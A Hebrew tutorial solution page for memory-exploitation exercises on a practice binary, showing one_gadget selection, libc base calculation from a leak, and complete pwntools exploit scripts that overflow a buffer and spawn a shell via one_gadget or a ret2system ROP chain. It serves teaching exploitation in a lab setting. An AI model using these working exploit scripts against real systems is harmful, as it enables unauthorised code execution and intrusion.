לדלג לתוכן

4.5 one gadget וret2system פתרון

פתרון - one_gadget וret2system

נעבור תרגיל אחרי תרגיל עם הפקודות האמיתיות, הפלט הצפוי, וה-exploit המלא. הכתובות ו-offset-ים בפלט מתייחסים ל-libc-2.27.so (Ubuntu 18.04) - אצלכם, עם גרסת libc אחרת, הם יהיו שונים. תמיד תריצו one_gadget על ה-libc שלכם ותשלפו את הכתובות מהבינארי שלכם, לעולם אל תעתיקו offset עיוור.

פתרון תרגיל 1 - מיפוי

מוצאים את ה-libc שהבינארי טוען:

$ ldd ./og_demo
    linux-vdso.so.1 (0x00007fff...)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f...)

מעתיקים אותו לתיקיית העבודה כדי לעבוד מולו, ומריצים one_gadget:

$ cp /lib/x86_64-linux-gnu/libc.so.6 .
$ one_gadget ./libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

ניתוח האילוצים:

  • 0x4f2c5 דורש rcx == NULL - אילוץ על אוגר. קשה לספק, כי rcx תלוי במה שקרה קודם.
  • 0x4f322 דורש [rsp+0x40] == NULL - אילוץ על המחסנית. קל לספק, כי אנחנו כותבים את המחסנית.
  • 0x10a38c דורש [rsp+0x70] == NULL - גם על המחסנית, גם נוח.

המסקנה: נתחיל מ-0x4f322 או 0x10a38c כי אילוץ על המחסנית בשליטתנו.

מציאת ה-offset עם cyclic:

from pwn import *
context.binary = ELF('./og_demo')
p = process('./og_demo')
p.recvline()                 # the leak line
p.recvuntil(b'payload:')
p.sendline(cyclic(200))
p.wait()
core = p.corefile
log.info('offset = %d', cyclic_find(core.read(core.rsp, 8)))

לbuffer 64 + saved rbp 8 יוצא offset = 72. תמיד תמדדו בעצמכם.

זיהוי גרסת libc:

$ strings ./libc.so.6 | grep "GNU C Library"
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27.

פתרון תרגיל 2 - חישוב בסיס libc

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./og_demo')
libc = ELF('./libc.so.6')

p = process('./og_demo')

leak = int(p.recvline().split()[-1], 16)     # "puts @ 0x7f..."
libc.address = leak - libc.symbols['puts']
log.success('puts leak = %#x', leak)
log.success('libc base = %#x', libc.address)

פלט לדוגמה (משתנה בכל הרצה בגלל ASLR):

[+] puts leak = 0x7f3a9c0a4aa0
[+] libc base = 0x7f3a9c020000

שימו לב ש-libc base תמיד נגמר ב-000 - libc ממופה בגבול עמוד. אם קיבלתם בסיס שלא aligned לעמוד, סימן שהדלף שגוי או שהתאמתם ל-libc הלא נכון. אחרי libc.address = ..., כל קריאה כמו libc.symbols['system'] כבר מחזירה את הכתובת האמיתית בריצה הזו.

פתרון תרגיל 3 - shell עם one_gadget

בוחרים את 0x4f322 (אילוץ [rsp+0x40] == NULL), ומספקים את האילוץ על ידי מילוי אפסים אחרי כתובת הגאדג'ט:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./og_demo')
libc = ELF('./libc.so.6')

p = process('./og_demo')

leak = int(p.recvline().split()[-1], 16)
libc.address = leak - libc.symbols['puts']

og = libc.address + 0x4f322        # [rsp+0x40] == NULL
offset = 72

# the zeros after og ensure [rsp+0x40] will be 0
payload = flat({offset: [og, 0, 0, 0, 0, 0, 0, 0, 0, 0]})

p.recvuntil(b'payload:')
p.sendline(payload)
p.interactive()

הפלט, ואז shell:

[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)

איך מוודאים ב-gdb שהאילוץ מסופק? עוצרים על הגאדג'ט ובודקים:

pwndbg> b *0x4f322 + <libc_base>
pwndbg> run
pwndbg> x/gx $rsp+0x40
0x7fffffffe0c0: 0x0000000000000000     <-- zero, the constraint holds

למה זה עבד: אחרי ה-ret שקפץ ל-0x4f322, rsp הצביע על המילה הראשונה שכתבנו אחרי הגאדג'ט. מכיוון שמילאנו הכל באפסים, המילה ב-rsp+0x40 הייתה אפס, אז ה-argv של execve("/bin/sh", argv, ...) היה NULL - חוקי. איך להכליל: אילוץ מסוג [rsp+X] == NULL כמעט תמיד ניתן לסיפוק על ידי padding אפסים, כל עוד rsp+X נופל בתוך אזור שאתם כותבים.

פתרון תרגיל 4 - הכישלון של אילוץ על אוגר

בוחרים בכוונה את 0x4f2c5 (דורש rcx == NULL) בלי להכין את rcx:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./og_demo')
libc = ELF('./libc.so.6')

p = process('./og_demo')
leak = int(p.recvline().split()[-1], 16)
libc.address = leak - libc.symbols['puts']

og = libc.address + 0x4f2c5        # requires rcx == NULL - we didn't prepare it!
offset = 72
payload = flat({offset: [og, 0, 0, 0, 0, 0, 0, 0, 0, 0]})

p.recvuntil(b'payload:')
p.sendline(payload)
p.interactive()

בודקים ב-gdb מה קרה. עוצרים על הגאדג'ט ומסתכלים על rcx:

pwndbg> b *0x4f2c5 + <libc_base>
pwndbg> run
pwndbg> p/x $rcx
$1 = 0x7ffff7dcf8c0        <-- not zero! the constraint is broken

מכיוון ש-rcx לא אפס, כשה-execve נקרא הוא מקבל argv לא חוקי, ו-execve נכשל (מחזיר -1) - ה-shell לא נפתח, ובדרך כלל התוכנית מסתיימת או קורסת מיד אחרי. במקרים אחרים, אם rcx מצביע לזיכרון לא ממופה, נראה קריסה עוד לפני ה-execve.

הפתרון: מאפסים את rcx לפני הקפיצה, אם יש גאדג'ט מתאים ב-libc:

$ ROPgadget --binary ./libc.so.6 | grep ': pop rcx ; ret'
0x000000000003d1ee : pop rcx ; ret
pop_rcx = libc.address + 0x3d1ee
payload = flat({offset: [pop_rcx, 0, og]})    # rcx = 0, then jump to og

למה זה עבד: הוספנו סלוט אחד שמאפס את rcx, וכך סיפקנו את האילוץ. איך להכליל: אילוץ על אוגר דורש גאדג'ט pop <reg> ; ret שיטען לתוכו אפס לפני ה-one_gadget. אם אין גאדג'ט כזה, פשוט עוברים למועמד אחר או ל-ret2system מלא.

פתרון תרגיל 5 - ret2system מלא

הדרך האמינה, עם הכתובות המחושבות מהדלף:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./og_demo')
libc = ELF('./libc.so.6')

p = process('./og_demo')
leak = int(p.recvline().split()[-1], 16)
libc.address = leak - libc.symbols['puts']
log.success('libc base = %#x', libc.address)

binsh  = next(libc.search(b'/bin/sh\x00'))    # the string exists inside libc
system = libc.symbols['system']

rop = ROP(libc)
rop.raw(rop.find_gadget(['ret'])[0])          # aligns the stack to 16 bytes
rop.call(system, [binsh])                      # rdi = &"/bin/sh", then system
log.info('\n' + rop.dump())

offset = 72
payload = flat({offset: rop.chain()})

p.recvuntil(b'payload:')
p.sendline(payload)
p.interactive()

ה-rop.dump() יראה משהו כזה:

0x0000:         0x7f...ret               ret
0x0008:         0x7f...pop rdi ; ret     pop rdi ; ret
0x0010:         0x7f...binsh             arg0 (system)
0x0018:         0x7f...system            system

ואז:

$ id
uid=1000(user) gid=1000(user) groups=1000(user)

השוואה: ה-one_gadget תפס סלוט אחד (ועוד padding אפסים שממילא לא עולה מקום אמיתי), בעוד ה-ret2system תפס ארבעה סלוטים (alignment, pop rdi, כתובת המחרוזת, system). זה בדיוק הטרייד-אוף: one_gadget קצר יותר, ret2system אמין יותר.

למה זה עבד: חישבנו את בסיס libc מהדלף, ומשם את הכתובות של system ושל "/bin/sh" (שקיימת בתוך libc). גאדג'ט ה-ret הבודד יישר את rsp ל-16 בתים כדי ש-movaps בתוך do_system לא יקרוס. איך להכליל: זו ברירת המחדל הבטוחה בכל פעם ש-one_gadget לא משתף פעולה - אתם בונים את כל הפרמטרים בעצמכם, ולא מסתמכים על מצב מקרי.

פתרון תרגיל 6 (אתגר) - "תנסה את כולם" עם fallback

אקספלויט חסין שמנסה קודם את הקיצור ונופל לבטוח:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./og_demo')
context.log_level = 'warn'          # quiet during the attempts
libc = ELF('./libc.so.6')

ONE_GADGETS = [0x4f322, 0x10a38c, 0x4f2c5]   # stack-constrained ones first
OFFSET = 72

def leak_base(p):
    leak = int(p.recvline().split()[-1], 16)
    libc.address = leak - libc.symbols['puts']
    return libc.address

def try_one_gadget(og_off):
    p = process('./og_demo')
    leak_base(p)
    og = libc.address + og_off
    p.recvuntil(b'payload:')
    p.sendline(flat({OFFSET: [og, 0, 0, 0, 0, 0, 0, 0, 0, 0]}))
    p.sendline(b'echo PWNED')
    try:
        if b'PWNED' in p.recv(timeout=1):
            return p
    except EOFError:
        pass
    p.close()
    return None

def ret2system():
    p = process('./og_demo')
    leak_base(p)
    binsh  = next(libc.search(b'/bin/sh\x00'))
    system = libc.symbols['system']
    rop = ROP(libc)
    rop.raw(rop.find_gadget(['ret'])[0])
    rop.call(system, [binsh])
    p.recvuntil(b'payload:')
    p.sendline(flat({OFFSET: rop.chain()}))
    return p

# try one_gadget first, then fall back to ret2system
p = None
for og_off in ONE_GADGETS:
    p = try_one_gadget(og_off)
    if p:
        log.success('one_gadget %#x worked!', og_off)
        break

if not p:
    log.warning('no one_gadget worked, falling back to ret2system')
    p = ret2system()

p.interactive()

לגבי הזיהוי מראש (שאלה 3): במקום להמר, פותחים את הבינארי ב-gdb, שמים breakpoint על ה-ret של main (הרגע שלפני הקפיצה), ובודקים ידנית איזה אילוץ כבר מתקיים:

pwndbg> b *main+<offset of the ret>
pwndbg> run
pwndbg> p/x $rcx
pwndbg> x/gx $rsp+0x40
pwndbg> x/gx $rsp+0x70

המועמד שהאילוץ שלו כבר מסופק במצב הזה הוא הבחירה הבטוחה לניסיון הראשון מול השרת. בגלל שהמחסנית שלנו בשליטתנו, לרוב נעדיף את המועמד עם אילוץ [rsp+X] == NULL ונדאג שהסלוט הזה יהיה אפס.

למה זה עבד: בנינו אסטרטגיה שמנסה את הזול (one_gadget, סלוט אחד) לפני היקר (ret2system, ארבעה סלוטים), עם נפילה מבוקרת. איך להכליל: זה דפוס העבודה המקצועי - קודם מנסים את הקיצור, ואם הוא לא אמין, נופלים לשיטה שאתם שולטים בה במלואה. exploit טוב הוא לא רק כזה שעובד פעם אחת, אלא כזה שעובד באמינות.